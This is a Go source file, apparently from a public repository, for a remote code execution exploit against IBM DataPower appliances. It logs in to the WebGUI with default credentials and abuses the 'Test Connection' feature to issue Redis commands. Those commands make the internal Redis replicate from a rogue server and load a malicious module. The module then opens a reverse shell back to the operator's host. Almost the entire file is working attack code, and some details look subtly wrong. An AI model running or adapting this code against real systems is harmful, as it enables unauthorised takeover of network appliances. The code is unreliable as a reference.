README.md
Rendering markdown...
package main
import (
"crypto/tls"
"encoding/xml"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"net/url"
"os"
"path"
"strconv"
"strings"
"time"
)
func main() {
datapowerIP := flag.String("dpip", "", "Datapower IP Address")
datapowerWebGUIPort := flag.Int("dpport", 9090, "Datapower WebGUI Port")
datapowerWebGUIUsername := flag.String("dpwebguiuser", "admin", "Datapower WebGUI Username")
datapowerWebGUIPassword := flag.String("dpwebguipassword", "admin", "Datapower WebGUI Password")
datapowerRedisPassword := flag.String("dpredispasswd", "", "Datapower Internal Redis Password")
datapowerRedisPort := flag.Int("dpredisport", 16379, "Datapower Internal Redis Port")
datapowerRedisModule := flag.String("dpredismodule", "dpredisshell.so", "Redis Reverse Shell Module")
localPort := flag.Int("fakeredisport", 8888, "Local port to run remote shell handler + fake redis server")
localIPAddress := flag.String("fakeredisip", "", "local address to run remote shell handler + fake redis server")
flag.Parse()
if *datapowerIP == "" || *datapowerRedisPassword == "" || *localIPAddress == "" {
log.Fatalln("Please make sure you specify all the required flags. Run with '-h' to see all tha flags.")
}
if _, err := os.Stat(*datapowerRedisModule); os.IsNotExist(err) {
log.Fatalf("Redis Module '%s' does not exist. Please check you compiled it with 'make' and specified it's location with the '-dpredismodule' flag", *datapowerRedisModule)
}
log.SetPrefix("Main - ")
log.Println("datapower-redis-rce-exploit - Created by Thomas Cope")
log.Printf("Starting Rogue Redis Server...")
fakeRedisTimeoutChannel := make(chan bool, 1)
fakeRedisShellChannel := make(chan net.Conn, 1)
go FakeRedis(*localIPAddress, *localPort, fakeRedisTimeoutChannel, *datapowerRedisModule, fakeRedisShellChannel)
log.Println("Attempting to Login to Datapower...")
endpoint := fmt.Sprintf("https://%s:%d", *datapowerIP, *datapowerWebGUIPort)
loginForm := url.Values{}
loginForm.Set("user", *datapowerWebGUIUsername)
loginForm.Set("pass", *datapowerWebGUIPassword)
loginForm.Set("domain", "default")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //Note: Datapower WebGUI Certs are usually self signed.
}
client := &http.Client{Transport: tr}
r, err := http.NewRequest("POST", endpoint+"/dp/sys.login", strings.NewReader(loginForm.Encode()))
if err != nil {
log.Fatal(err)
}
r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
r.Header.Add("Content-Length", strconv.Itoa(len(loginForm.Encode())))
res, err := client.Do(r)
if err != nil {
log.Fatal(err)
}
if res.Status != "200 OK" {
log.Fatalf("Datapower login failed. Bad HTTP Return Code - %s", res.Status)
}
defer res.Body.Close()
dpLoginBody, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}
type DPLoginResponse struct {
XMLName xml.Name `xml:"response"`
Text string `xml:",chardata"`
Result string `xml:"result"`
SAMLart string `xml:"SAMLart"`
Location string `xml:"location"`
}
var dpLoginResult DPLoginResponse
err = xml.Unmarshal(dpLoginBody, &dpLoginResult)
if err != nil {
log.Fatal(err)
}
if dpLoginResult.Result != "success" {
log.Fatalf("Datapower login failed. Bad XML Return Code - %v+", dpLoginResult)
}
log.Println("Datapower Credentials Valid!")
log.Printf("Datapower Login Token = %s", dpLoginResult.SAMLart)
log.Println("Exchanging Login token for auth cookie...")
r, err = http.NewRequest("GET", fmt.Sprintf("%s/css/login.css?SAMLart=%s", endpoint, dpLoginResult.SAMLart), nil)
if err != nil {
log.Fatal(err)
}
r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
res, err = client.Do(r)
if err != nil {
log.Fatal(err)
}
if res.Status != "200 OK" {
log.Fatalf("Datapower login failed. Bad HTTP Return Code - %s", res.Status)
}
defer res.Body.Close()
dpLoginCookie := res.Cookies()
log.Printf("Got login Cookie OK! - %v+", dpLoginCookie)
log.Println("Datapower Login Complete!")
log.Printf("Attempting Redis exploit via Datapower 'Test Connection' ...")
redisExploit := fmt.Sprintf(`AUTH %s
CONFIG SET dbfilename %s
SLAVEOF %s %d`, *datapowerRedisPassword, path.Base(*datapowerRedisModule), *localIPAddress, *localPort)
err = DPTestConnection(redisExploit, *datapowerRedisPort, dpLoginCookie, endpoint)
if err != nil {
log.Fatalf("Failed to perform redis exploit via Datapower 'Test Connection'. Error Message = %s", err.Error())
}
log.Printf("Datapower 'Test Connection' sent OK, waiting for redis connection...")
select {
case res := <-fakeRedisTimeoutChannel:
if res == false {
log.Fatal("Internal Error! Datapower internal redis failed to negotiate with fake redis server.")
}
case <-time.After(30 * time.Second):
log.Fatal("Timeout! Datapower internal redis failed to connect to fake redis server after 30 seconds. Note: This can also occur if the redis password is incorrect.")
}
log.Printf("Payload has been delivered to Datapower internal redis!")
log.Printf("Performing clean up...")
cleanUpCommands := fmt.Sprintf(`AUTH %s
SLAVEOF NO ONE
CONFIG SET dbfilename dump.rdb`, *datapowerRedisPassword)
err = DPTestConnection(cleanUpCommands, *datapowerRedisPort, dpLoginCookie, endpoint)
if err != nil {
log.Fatalf("Failed to perform cleanup via Datapower 'Test Connection'. Error Message = %s", err.Error())
}
log.Printf("Requesting Reverse Shell via Datapower 'Test Connection' ...")
go func() {
runReverseShell := fmt.Sprintf(`AUTH %s
MODULE LOAD ./%s
dpshell.go %s %d %s`, *datapowerRedisPassword, path.Base(*datapowerRedisModule), *localIPAddress, *localPort, path.Base(*datapowerRedisModule))
DPTestConnection(runReverseShell, *datapowerRedisPort, dpLoginCookie, endpoint)
}()
log.Printf("Waiting for Reverse Shell...")
select {
case shellConnection := <-fakeRedisShellChannel:
log.Printf("Got Reverse Shell!")
log.Printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
go func() {
io.Copy(os.Stdin, shellConnection)
}()
io.Copy(shellConnection, os.Stdout)
case <-time.After(30 * time.Second):
log.Fatal("Timeout! Did not receive reverse shell connection.")
}
}